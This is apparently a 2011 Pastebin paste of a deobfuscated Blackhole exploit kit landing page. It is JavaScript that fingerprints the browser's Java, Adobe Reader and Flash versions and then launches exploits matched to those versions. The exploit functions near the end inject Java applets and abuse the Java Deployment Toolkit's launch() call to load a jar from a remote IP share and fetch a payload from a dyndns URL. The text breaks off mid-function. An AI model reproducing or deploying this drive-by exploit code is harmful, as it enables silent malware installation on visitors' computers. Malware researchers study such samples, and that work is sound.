Advertisement
onthar

Blackhole exploit page deobfuscated

Oct 2nd, 2011
873
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 31.41 KB | None | 0 0
  1. document.write('<center><h1>Please wait page is loading...</h1></center><hr>');function end_redirect(){}var jver=[0,0,0,0],pdfver=[0,0,0,0],flashver=[0,0,0,0];try{var PluginDetect={handler:function(c,b,a){return function(){c(b,a)}},isDefined:function(b){return typeof b!="undefined"},isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b){return typeof b=="function"},isString:function(b){return typeof b=="string"},isNum:function(b){return typeof b=="number"},isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d){var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f)){if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);for(a=0;a<Math.min(c.length,b.length);a++){if(g(c[a],10)>g(b[a],10)){return 1}if(g(c[a],10)<g(b[a],10)){return -1}}}return 0},formatNum:function(b,c){var d=this,a,e;if(!d.isStrNum(b)){return null}if(!d.isNum(c)){c=4}c--;e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);for(a=0;a<4;a++){if(/^(0+)(.+)$/.test(e[a])){e[a]=RegExp.$2}if(a>c||!(/\d/).test(e[a])){e[a]="0"}}return e.slice(0,4).join(",")},$$hasMimeType:function(a){return function(d){if(!a.isIE&&d){var c,b,e,f=a.isString(d)?[d]:d;if(!f||!f.length){return null}for(e=0;e<f.length;e++){if(/[^\s]/.test(f[e])&&(c=navigator.mimeTypes[f[e]])&&(b=c.enabledPlugin)&&(b.name||b.description)){return c}}}return null}},findNavPlugin:function(l,e,c){var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description||g;b=a[f].name||g;if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))){if(!k||!(k.test(m)||k.test(b))){return a[f]}}}return null},getMimeEnabledPlugin:function(a,f){var e=this,b,c=new RegExp(f,"i"),d="";if((b=e.hasMimeType(a))&&(b=b.enabledPlugin)&&(c.test(b.description||d)||c.test(b.name||d))){return b}return 0},getPluginFileVersion:function(f,b){var h=this,e,d,g,a,c=-1;if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version))){return b}if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a<d.length;a++){if(c>-1&&a>c&&d[a]!="0"){return b}if(g[a]!=d[a]){if(c==-1){c=a}if(d[a]!="0"){return b}}}return e},AXO:window.ActiveXObject,getAXO:function(b){var f=null,d,c=this,a;try{f=new c.AXO(b)}catch(d){}return f},convertFuncs:function(g){var a,h,f,b=/^[\$][\$]/,d={},c=this;for(a in g){if(b.test(a)){d[a]=1}}for(a in d){try{h=a.slice(2);if(h.length>0&&!g[h]){g[h]=g[a](g);delete g[a]}}catch(f){}}},initScript:function(){var c=this,a=navigator,e="/",i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";c.OS=100;if(b){var f,d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\\s*PC",22.3,"",100];for(f=d.length-2;f>=0;f=f-2){if(d[f]&&new RegExp(d[f],"i").test(b)){c.OS=d[f+1];break}}}c.convertFuncs(c);c.isIE=new Function("return "+e+"*@cc_on!@*"+e+"false")();c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;c.ActiveXEnabled=false;if(c.isIE){var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];for(f=0;f<j.length;f++){if(c.getAXO(j[f])){c.ActiveXEnabled=true;break}}c.head=c.isDefined(document.getElementsByTagName)?document.getElementsByTagName("head")[0]:null}c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;c.isSafari=(/Safari\s*\/\s*\d/i).test(i)&&(/Apple/i).test(g);c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;c.addWinEvent("load",c.handler(c.runWLfuncs,c))},init:function(c){var b=this,a,c;if(!b.isString(c)){return -3}if(c.length==1){b.getVersionDelimiter=c;return -3}c=c.toLowerCase().replace(/\s/g,"");a=b[c];if(!a||!a.getVersion){return -3}b.plugin=a;if(!b.isDefined(a.installed)){a.installed=a.version=a.version0=a.getVersionDone=null;a.$=b;a.pluginName=c}b.garbage=false;if(b.isIE&&!b.ActiveXEnabled){if(a!==b.java){return -2}}return 1},fPush:function(b,a){var c=this;if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b[0])))){a.push(b)}},callArray:function(b){var c=this,a;if(c.isArray(b)){for(a=0;a<b.length;a++){if(b[a]===null){return}c.call(b[a]);b[a]=null}}},call:function(c){var b=this,a=b.isArray(c)?c.length:-1;if(a>0&&b.isFunc(c[0])){c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)}else{if(b.isFunc(c)){c(b)}}},getVersionDelimiter:",",$$getVersion:function(a){return function(g,d,c){var e=a.init(g),f,b,h;if(e<0){return null};f=a.plugin;if(f.getVersionDone!=1){f.getVersion(null,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();b=(f.version||f.version0);b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;return b}},cleanup:function(){var a=this;if(a.garbage&&a.isDefined(window.CollectGarbage)){window.CollectGarbage()}},addWinEvent:function(d,c){var e=this,a=window,b;if(e.isFunc(c)){if(a.addEventListener){a.addEventListener(d,c,false)}else{if(a.attachEvent){a.attachEvent("on"+d,c)}else{b=a["on"+d];a["on"+d]=e.winHandler(c,b)}}}},winHandler:function(d,c){return function(){d();if(typeof c=="function"){c()}}},WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a){a.winLoaded=true;a.callArray(a.WLfuncs0);a.callArray(a.WLfuncs);if(a.onDoneEmptyDiv){a.onDoneEmptyDiv()}},winLoaded:false,$$onWindowLoaded:function(a){return function(b){if(a.winLoaded){a.call(b)}else{a.fPush(b,a.WLfuncs)}}},$$onDetectionDone:function(a){return function(h,g,c,b){var d=a.init(h),j,e;if(d==-3){return -1}e=a.plugin;if(!a.isArray(e.funcs)){e.funcs=[]}if(e.getVersionDone!=1){j=a.isMinVersion?a.isMinVersion(h,"0",c,b):a.getVersion(h,c,b)}if(e.installed!=-0.5&&e.installed!=0.5){a.call(g);return 1}if(e.NOTF){a.fPush(g,e.funcs);return 0}return 1}},div:null,divWidth:50,pluginSize:1,emptyDiv:function(){var c=this,a,e,b,d=0;if(c.div&&c.div.childNodes){for(a=c.div.childNodes.length-1;a>=0;a--){b=c.div.childNodes[a];if(b&&b.childNodes){if(d==0){for(e=b.childNodes.length-1;e>=0;e--){b.removeChild(b.childNodes[e])}c.div.removeChild(b)}else{}}}}},DONEfuncs:[],onDoneEmptyDiv:function(){var c=this,a,b;if(!c.winLoaded){return}if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null){return}for(a in c){b=c[a];if(b&&b.funcs){if(b.OTF==3){return}if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null){return}}}for(a=0;a<c.DONEfuncs.length;a++){c.callArray(c.DONEfuncs)}c.emptyDiv()},getWidth:function(c){if(c){var a=c.scrollWidth||c.offsetWidth,b=this;if(b.isNum(a)){return a}}return -1},getTagStatus:function(m,g,a,b){var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);if(!k||!h||!d||!c.getDOMobj(m)){return -2}if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1){return 0}if(l>=i){return -1}try{if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4)){if(!m.winLoaded&&c.winLoaded){return 1}if(m.winLoaded&&c.isNum(b)){if(!c.isNum(m.count)){m.count=b}if(b-m.count>=10){return 1}}}}catch(f){}return 0},getDOMobj:function(g,a){var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;try{if(b&&a){c.firstChild.focus()}}catch(f){}return b?c.firstChild:null},setStyle:function(b,g){var f=b.style,a,d,c=this;if(f&&g){for(a=0;a<g.length;a=a+2){try{f[g[a]]=g[a+1]}catch(d){}}}},insertDivInBody:function(i){var g,d=this,h="pd33993399",c=null,f=document,b="<",a=(f.getElementsByTagName("body")[0]||f.body);if(!a){try{f.write(b+'div id="'+h+'">o'+b+"/div>");c=f.getElementById(h)}catch(g){}}a=(f.getElementsByTagName("body")[0]||f.body);if(a){if(a.firstChild&&d.isDefined(a.insertBefore)){a.insertBefore(i,a.firstChild)}else{a.appendChild(i)}if(c){a.removeChild(c)}}else{}},insertHTML:function(g,b,h,a,k){var l,m=document,j=this,q,o=m.createElement("span"),n,i,f="<";var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];if(!j.isDefined(a)){a=""}if(j.isString(g)&&(/[^\s]/).test(g)){q=f+g+' width="'+j.pluginSize+'" height="'+j.pluginSize+'" ';for(n=0;n<b.length;n=n+2){if(/[^\s]/.test(b[n+1])){q+=b[n]+'="'+b[n+1]+'" '}}q+=">";for(n=0;n<h.length;n=n+2){if(/[^\s]/.test(h[n+1])){q+=f+'param name="'+h[n]+'" value="'+h[n+1]+'" />'}}q+=a+f+"/"+g+">"}else{q=a}if(!j.div){j.div=m.createElement("div");i=m.getElementById("plugindetect");if(i){j.div=i}else{j.div.id="plugindetect";j.insertDivInBody(j.div)}j.setStyle(j.div,c.concat(["width",j.divWidth+"px","height",(j.pluginSize+3)+"px","fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));if(!i){j.setStyle(j.div,["position","absolute","right","0px","top","0px"])}}if(j.div&&j.div.parentNode){j.div.appendChild(o);j.setStyle(o,c.concat(["fontSize",(j.pluginSize+3)+"px","lineHeight",(j.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));try{if(o&&o.parentNode){o.focus()}}catch(l){}try{o.innerHTML=q}catch(l){}if(o.childNodes.length==1&&!(j.isGecko&&j.compareNums(j.verGecko,"1,5,0,0")<0)){j.setStyle(o.firstChild,c.concat(["display","inline"]))}return{span:o,winLoaded:j.winLoaded,tagName:(j.isString(g)?g:"")}}return{span:null,winLoaded:j.winLoaded,tagName:""}},java:{mimeType:["application/x-java-applet","application/x-java-vm","application/x-java-bean"],mimeTypeJPI:"application/x-java-applet;jpi-version=",classID:"clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",DTKclassID:"clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA",DTKmimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],forceVerifyTag:[],jar:[],Enabled:navigator.javaEnabled(),VENDORS:["Sun Microsystems Inc.","Apple Computer, Inc."],OTF:null,All_versions:[],mimeTypeJPIresult:"",JavaPlugin_versions:[],JavaVersions:[[1,9,2,30],[1,8,2,30],[1,7,2,30],[1,6,1,30],[1,5,1,30],[1,4,2,30],[1,3,1,30]],searchJavaPluginAXO:function(){var h=null,a=this,c=a.$,g=[],j=[1,5,0,14],i=[1,6,0,2],f=[1,3,1,0],e=[1,4,2,0],d=[1,5,0,7],b=false;if(!c.ActiveXEnabled){return null};if(c.verIE>=a.minIEver){g=a.searchJavaAXO(i,i,b);if(g.length>0&&b){g=a.searchJavaAXO(j,j,b)}}else{if(g.length==0){g=a.searchJavaAXO(f,e,false)}}if(g.length>0){h=g[0]}a.JavaPlugin_versions=[].concat(g);return h},searchJavaAXO:function(l,i,m){var n,f,h=this.$,q,k,a,e,g,j,b,r=[];if(h.compareNums(l.join(","),i.join(","))>0){i=l}i=h.formatNum(i.join(","));var o,d="1,4,2,0",c="JavaPlugin."+l[0]+""+l[1]+""+l[2]+""+(l[3]>0?("_"+(l[3]<10?"0":"")+l[3]):"");for(n=0;n<this.JavaVersions.length;n++){f=this.JavaVersions[n];q="JavaPlugin."+f[0]+""+f[1];g=f[0]+"."+f[1]+".";for(a=f[2];a>=0;a--){b="JavaWebStart.isInstalled."+g+a+".0";if(h.compareNums(f[0]+","+f[1]+","+a+",0",i)>=0&&!h.getAXO(b)){continue}o=h.compareNums(f[0]+","+f[1]+","+a+",0",d)<0?true:false;for(e=f[3];e>=0;e--){k=a+"_"+(e<10?"0"+e:e);j=q+k;if(h.getAXO(j)&&(o||h.getAXO(b))){r.push(g+k);if(!m){return r}}if(j==c){return r}}if(h.getAXO(q+a)&&(o||h.getAXO(b))){r.push(g+a);if(!m){return r}}if(q+a==c){return r}}}return r},minIEver:7,getMimeJPIversion:function(){var h,a=this,d=a.$,c=new RegExp("("+a.mimeTypeJPI+")(\\d.*)","i"),k=new RegExp("Java","i"),e,j,f="",i={},g=0,b;for(h=0;h<navigator.mimeTypes.length;h++){j=navigator.mimeTypes[h];if(c.test(j.type)&&(e=j.enabledPlugin)&&(j=RegExp.$2)&&(k.test(e.description||f)||k.test(e.name||f))){i["a"+d.formatNum(j)]=j}}b="0,0,0,0";for(h in i){g++;e=h.slice(1);if(d.compareNums(e,b)>0){b=e}}a.mimeTypeJPIresult=g>0?a.mimeTypeJPI+i["a"+b]:"";return g>0?b:null},getVersion:function(m,d,l){var f,c=this,e=c.$,h=c.NOTF,b=c.applet,j=c.verify,i=vendor=versionEnabled=null;if(c.getVersionDone===null){c.OTF=0;c.mimeObj=e.hasMimeType(c.mimeType);c.deployTK.$=e;c.deployTK.parentNode=c;b.$=e;b.parentNode=c;if(h){h.$=e;h.parentNode=c}if(j){j.parentNode=c;j.$=e;j.init()}}var k;if(e.isArray(l)){for(k=0;k<b.allowed.length;k++){if(e.isNum(l[k])){b.allowed[k]=l[k]}}}for(k=0;k<c.forceVerifyTag.length;k++){b.allowed[k]=c.forceVerifyTag[k]}if(e.isString(d)){c.jar.push(d)}if(c.getVersionDone==0){if(!c.version||b.canTryAny()){f=b.insertHTMLQueryAll(d);if(f[0]){c.installed=1;c.EndGetVersion(f[0],f[1])}}return}var g=c.deployTK.query();if(g.JRE){i=g.JRE;vendor=c.VENDORS[0]}if(!e.isIE){var q,n,a,o;o=(c.mimeObj&&c.Enabled)?true:false;if(!i&&(f=c.getMimeJPIversion())!==null){i=f}if(!i&&c.mimeObj){f="Java[^\\d]*Plug-in";a=e.findNavPlugin(f);if(a){f=new RegExp(f,"i");q=f.test(a.description||"")?e.getNum(a.description):null;n=f.test(a.name||"")?e.getNum(a.name):null;if(q&&n){i=(e.compareNums(e.formatNum(q),e.formatNum(n))>=0)?q:n}else{i=q||n}}}if(!i&&c.mimeObj&&e.isSafari&&e.OS==2){a=e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa",0);if(a){q=e.getNum(a.description);if(q){i=q}}}if(i){c.version0=i;if(c.Enabled){versionEnabled=i}}}else{if(!i&&g.status==0){i=c.searchJavaPluginAXO();if(i){vendor=c.VENDORS[0]}}if(i){c.version0=i;if(c.Enabled&&e.ActiveXEnabled){versionEnabled=i}}}if(!versionEnabled||b.canTryAny()){f=b.insertHTMLQueryAll(d);if(f[0]){versionEnabled=f[0];vendor=f[1]}}if(!versionEnabled&&(f=c.queryWithoutApplets())[0]){c.version0=versionEnabled=f[0];vendor=f[1];if(c.installed==-0.5){c.installed=0.5}}if(e.isSafari&&e.OS==2){if(!versionEnabled&&o){if(c.installed===null){c.installed=0}else{if(c.installed==-0.5){c.installed=0.5}}}}if(c.jreDisabled()){versionEnabled=null};if(c.installed===null){c.installed=versionEnabled?1:(i?-0.2:-1)}c.EndGetVersion(versionEnabled,vendor)},EndGetVersion:function(b,d){var a=this,c=a.$;if(a.version0){a.version0=c.formatNum(c.getNum(a.version0))}if(b){a.version=c.formatNum(c.getNum(b));a.vendor=(c.isString(d)?d:"")}if(a.getVersionDone!=1){a.getVersionDone=0}},jreDisabled:function(){var b=this,d=b.$,c=b.deployTK.query().JRE,a;if(c&&d.OS==1){if((d.isGecko&&d.compareNums(d.verGecko,"1,9,2,0")>=0&&d.compareNums(c,"1,6,0,12")<0)||(d.isChrome&&d.compareNums(c,"1,6,0,12")<0)){return 1}};if(d.isOpera&&d.verOpera>=9&&!b.Enabled&&!b.mimeObj&&!b.queryWithoutApplets()[0]){return 1}if((d.isGecko||d.isChrome)&&!b.mimeObj&&!b.queryWithoutApplets()[0]){return 1}return 0},deployTK:{status:null,JREall:[],JRE:null,HTML:null,query:function(){var f=this,h=f.$,c=f.parentNode,i,a,b,g=len=null;if(f.status!==null){return f}f.status=0;if((h.isGecko&&h.compareNums(h.verGecko,h.formatNum("1.6"))<=0)||h.isSafari||h.isChrome||(h.isIE&&!h.ActiveXEnabled)){return f}if(h.isIE&&h.verIE>=6){f.HTML=h.insertHTML("object",[],[]);g=h.getDOMobj(f.HTML)}else{if(!h.isIE&&(b=h.hasMimeType(c.DTKmimeType))&&b.type){f.HTML=h.insertHTML("object",["type",b.type],[]);g=h.getDOMobj(f.HTML)}}if(g){if(h.isIE&&h.verIE>=6){try{g.classid=c.DTKclassID}catch(i){}};try{var d=g.jvms;if(d){len=d.getLength();if(h.isNum(len)){f.status=len>0?1:-1;for(a=0;a<len;a++){b=h.getNum(d.get(len-1-a).version);if(b){f.JREall[a]=b}}}}}catch(i){}}if(f.JREall.length>0){f.JRE=h.formatNum(f.JREall[0])}return f}},queryWithoutApplets00:function(c,a){var b=window.java,d;try{if(b&&b.lang&&b.lang.System){a.value=[b.lang.System.getProperty("java.version")+" ",b.lang.System.getProperty("java.vendor")+" "]}}catch(d){}},queryWithoutApplets:function(){var c=this,f=c.$,g,a=c.queryWithoutApplets;if(!a.value){a.value=[null,null];if(!f.isIE&&window.java){if(f.OS==2&&f.isOpera&&f.verOpera<9.2&&f.verOpera>=9){}else{if(f.isGecko&&f.compareNums(f.verGecko,"1,9,0,0")<0&&f.compareNums(f.verGecko,"1,8,0,0")>=0){}else{if(f.isGecko){var i,b,h=document;if(h.createElement&&h.createEvent){try{i=h.createElement("div"),b=h.createEvent("HTMLEvents");b.initEvent("change",false,false);i.addEventListener("change",f.handler(c.queryWithoutApplets00,f,a),false);i.dispatchEvent(b)}catch(g){}}}else{c.queryWithoutApplets00(f,a)}}}}}return a.value},applet:{results:[[null,null],[null,null],[null,null]],HTML:[0,0,0],active:[0,0,0],allowed:[2,2,2],DummyObjTagHTML:0,DummySpanTagHTML:0,getResult:function(){var c=this.results,a,b;for(a=0;a<c.length;a++){b=c[a];if(b[0]){break}}return[].concat(b)},canTry:function(d){var b=this,c=b.$,a=b.parentNode;if(b.allowed[d]==3){return true}if(!a.version0||!a.Enabled||(c.isIE&&!c.ActiveXEnabled)){if(b.allowed[d]==2){return true}if(b.allowed[d]==1&&!b.getResult()[0]){return true}}return false},canTryAny:function(){var b=this,a;for(a=0;a<b.allowed.length;a++){if(b.canTry(a)){return true}}return false},canUseAppletTag:function(){var b=this,c=b.$,a=b.parentNode;return(!c.isIE||a.Enabled)},canUseObjectTag:function(){var a=this,b=a.$;return(!b.isIE||b.ActiveXEnabled)},queryThis:function(h){var g,c=this,b=c.parentNode,f=b.$,a=vendor=null,d=f.getDOMobj(c.HTML[h],true);if(d){try{a=d.getVersion()+" ";vendor=d.getVendor()+" ";d.statusbar(f.winLoaded?" ":" ")}catch(g){}if(f.isStrNum(a)){c.results[h]=[a,vendor]}try{if(f.isIE&&a&&d.readyState!=4){f.garbage=true;d.parentNode.removeChild(d)}}catch(g){}}},insertHTMLQueryAll:function(e){var g=this,n=g.parentNode,d=n.$,o=g.results,q=g.HTML,h="&nbsp;&nbsp;&nbsp;&nbsp;",u="A.class";if(!d.isString(e)||!(/\.jar\s*$/).test(e)||(/\\/).test(e)){return[null,null]}if(n.OTF<1){n.OTF=1}if(n.jreDisabled()){return[null,null]}if(n.OTF<2){n.OTF=2}var c=e,t="",m;if((/[\/]/).test(e)){m=e.split("/");c=m[m.length-1];m[m.length-1]="";t=m.join("/")}var j=["archive",c,"code",u],l=["mayscript","true"],r=["scriptable","true"].concat(l),f=!d.isIE&&n.mimeObj&&n.mimeObj.type?n.mimeObj.type:n.mimeType[0];if(!q[0]&&g.canUseObjectTag()&&g.canTry(0)){q[0]=d.isIE?d.insertHTML("object",["type",f].concat(j),["codebase",t].concat(j).concat(r),h,n):d.insertHTML("object",["type",f,"archive",c,"classid","java:"+u],["codebase",t,"archive",c].concat(r),h,n);o[0]=[0,0];g.queryThis(0)}if(!q[1]&&g.canUseAppletTag()&&g.canTry(1)){q[1]=d.isIE?d.insertHTML("applet",["alt",h].concat(l).concat(j),["codebase",t].concat(l),h,n):d.insertHTML("applet",["codebase",t,"alt",h].concat(l).concat(j),[].concat(l),h,n);o[1]=[0,0];g.queryThis(1)}if(!q[2]&&g.canUseObjectTag()&&g.canTry(2)){q[2]=d.isIE?d.insertHTML("object",["classid",n.classID],["codebase",t].concat(j).concat(r),h,n):d.insertHTML();o[2]=[0,0];g.queryThis(2)}if(!g.DummyObjTagHTML&&g.canUseObjectTag()){g.DummyObjTagHTML=d.insertHTML("object",[],[],h)}if(!g.DummySpanTagHTML){g.DummySpanTagHTML=d.insertHTML("",[],[],h)};if(n.OTF<3&&((q[0]&&!o[0][0])||(q[1]&&!o[1][0])||(d.isIE&&q[2]&&!o[2][0]))){var i=n.NOTF,b=i.isJavaActive();if(b>=0){n.OTF=3;n.installed=b==1?0.5:-0.5;i.onIntervalQuery=d.handler(i.$$onIntervalQuery,i);if(!d.winLoaded){d.WLfuncs0.push([i.winOnLoadQuery,i])}setTimeout(i.onIntervalQuery,i.intervalLength)}};var k,a=0;for(k=0;k<o.length;k++){if(q[k]||g.canTry(k)){a++}else{break}}if(a==o.length){n.getVersionDone=n.forceVerifyTag.length>0?0:1}return g.getResult()}},NOTF:{count:0,countMax:25,intervalLength:250,isJavaActive:function(){var e=this,c=e.parentNode,a,b,d=-9;for(a=0;a<c.applet.HTML.length;a++){b=e.isAppletActive(a);c.applet.active[a]=b;if(b>d){d=b}}return d},isAppletActive:function(g){var h=this,d=h.$,c=h.parentNode,b=c.applet,f,a=d.getTagStatus(b.HTML[g],b.DummySpanTagHTML,b.DummyObjTagHTML,h.count);if(a==-2){return -2}try{if(d.isIE&&d.verIE>=c.minIEver&&d.getDOMobj(b.HTML[g]).object){return 1}}catch(f){}if(a==1&&(d.isIE||((c.version0&&c.Enabled&&c.Enabled)||c.queryWithoutApplets()[0]))){return 1}if(a<0){return -1}return 0},winOnLoadQuery:function(c,d){var b=d.parentNode,a;if(b.OTF==3){a=d.queryAllApplets();d.queryCompleted(a[1],a[2])}},$$onIntervalQuery:function(d){var c=d.$,b=d.parentNode,a;if(b.OTF==3){a=d.queryAllApplets();if(a[0]||(c.winLoaded&&d.count>d.countMax)){d.queryCompleted(a[1],a[2])}}d.count++;if(b.OTF==3){setTimeout(d.onIntervalQuery,d.intervalLength)}},queryAllApplets:function(){var g=this,f=g.$,e=g.parentNode,d=e.applet,b,a,c;for(b=0;b<d.results.length;b++){d.queryThis(b)}a=d.getResult();c=(a[0]||g.isJavaActive()<0)?true:false;return[c,a[0],a[1]]},queryCompleted:function(c,f){var e=this,d=e.$,b=e.parentNode;if(b.OTF==4){return}b.OTF=4;var a=e.isJavaActive()==1?true:false;if(c||b.queryWithoutApplets()[0]){b.installed=1}else{if(a){if(b.version0){b.installed=1;c=b.version0}else{b.installed=0}}else{if(b.installed==0.5){b.installed=0}else{if(b.version0){b.installed=-0.2}else{b.installed=-1}}}}b.EndGetVersion(c,f);if(b.funcs){d.callArray(b.funcs)}if(d.onDoneEmptyDiv){d.onDoneEmptyDiv()}}},append:function(e,d){for(var c=0;c<d.length;c++){e.push(d[c])}},JavaFix:function(){}},flash:{mimeType:["application/x-shockwave-flash","application/futuresplash"],progID:"ShockwaveFlash.ShockwaveFlash",classID:"clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",getVersion:function(){var b=function(i){if(!i){return null}var e=/[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);return e?e[0].replace(/[rRdD\.]/g,",").replace(/\s/g,""):null};var d,h=this,f=h.$,j,g,k=null,c=null,a=null;if(!f.isIE){d=f.findNavPlugin("Flash");if(d&&d.description&&f.hasMimeType(h.mimeType)){k=b(d.description)}if(k){k=f.getPluginFileVersion(d,k)}}else{for(g=15;g>2;g--){c=f.getAXO(h.progID+"."+g);if(c){a=g.toString();break}}if(a=="6"){try{c.AllowScriptAccess="always"}catch(j){return"6,0,21,0"}}try{k=b(c.GetVariable("$version"))}catch(j){}if(!k&&a){k=a}}h.installed=k?1:-1;h.version=f.formatNum(k);return true}},adobereader:{mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:{},pluginHasMimeType:function(d,c,f){var b=this,e=b.$,a;for(a in d){if(d[a]&&d[a].type&&d[a].type==c){return 1}}if(e.getMimeEnabledPlugin(c,f)){return 1}return 0},getVersion:function(i,j){var f=this,c=f.$,h,d,k,m=p=null,g=null,l=null,a,b;j=(c.isString(j)&&j.length)?j.replace(/\s/,"").toLowerCase():f.mimeType;if(c.isDefined(f.INSTALLED[j])){f.installed=f.INSTALLED[j];return}if(!c.isIE){a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";if(f.getVersionDone!==0){f.getVersionDone=0;p=c.getMimeEnabledPlugin(f.mimeType,a);if(!p&&c.hasMimeType(f.mimeType)){p=c.findNavPlugin(a,0)}if(p){f.navPluginObj=p;g=c.getNum(p.description)||c.getNum(p.name);g=c.getPluginFileVersion(p,g);if(!g&&c.OS==1){if(f.pluginHasMimeType(p,"application/vnd.adobe.pdfxml",a)){g="9"}else{if(f.pluginHasMimeType(p,"application/vnd.adobe.x-mars",a)){g="8"}}}}}else{g=f.version}m=c.getMimeEnabledPlugin(j,a);f.installed=m&&g?1:(m?0:(f.navPluginObj?-0.2:-1))}else{p=c.getAXO(f.progID[0])||c.getAXO(f.progID[1]);b=/=\s*([\d\.]+)/g;try{d=(p||c.getDOMobj(c.insertHTML("object",["classid",f.classID],["src",""],"",f))).GetVersions();for(k=0;k<5;k++){if(b.test(d)&&(!g||RegExp.$1>g)){g=RegExp.$1}}}catch(h){}f.installed=g?1:(p?0:-1)}if(!f.version){f.version=c.formatNum(g)}f.INSTALLED[j]=f.installed}},zz:0};PluginDetect.initScript();PluginDetect.getVersion(".");jver=PluginDetect.getVersion("Java","./getJavaInfo.jar");pdfver=PluginDetect.getVersion("AdobeReader");flashver=PluginDetect.getVersion('Flash');}catch(e){}if(typeof jver=='string'){jver=jver.split('.')}else{jver=[0,0,0,0]}if(typeof pdfver=='string'){pdfver=pdfver.split('.')}else{pdfver=[0,0,0,0]}if(typeof flashver=='string'){flashver=flashver.split('.')}else{flashver=[0,0,0,0]}function spl0(){if(jver[1]==6&&jver[3]<=23){function jtrnew(cdb){var a=document.createElement('applet');a.setAttribute('code', 'http://gmail@1604540625/GWeather.class');a.setAttribute('codebase', cdb);var p=document.createElement('param');p.setAttribute('name','aaa');p.setAttribute('value','vMMCWJJ3OOOg%4yD4DO%_./JA%CvCjc=3S:L=E');a.appendChild(p);document.body.appendChild(a);}try{pf='\\Program Files\\Java\\jre6\\lib\\ext';pf2=pf.replace('es','es (x86)');jtrnew('file:C:'+pf);jtrnew('file:C:'+pf2);jtrnew('file:D:'+pf);jtrnew('file:D:'+pf2);jtrnew('file:E:'+pf);jtrnew('file:E:'+pf2);}catch(e){}}spl2()}function spl2(){if(jver[1]==6&&jver[3]>=10&&jver[3]<=19){function ljs(clid){try{var ghtb=document.createElement("OBJECT");ghtb.classid="clsid:"+clid;ghtb.launch("http: ".concat("-J-jar"," -J\\\\95.163.66.205\\pub\\new.avi  http://1ssso.dyndns.biz/w.php?f=17&e=2 none"))}catch(e){}}ljs("CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA");ljs("8AD9C840-044E-11D1-B3E9-00805F499D93");}spl3()}function spl3(){function skfunc1(m){var r='';for(l=0;l<m.length;l++){var k=m.charCodeAt(l);r+=String.fromCharCode(((k & 0xF0)>>4)+1);r+=String.fromCharCode((k & 0xF)+1)}return r}function skfunc2(c){var x=c.toString(16);var w=(x.length % 2)?'0'+x:x;return w}function skfunc3(rw){var r='';for(var u=0;u<rw.length;u++){r+='%';r+=skfunc2(rw.charCodeAt(u))}return 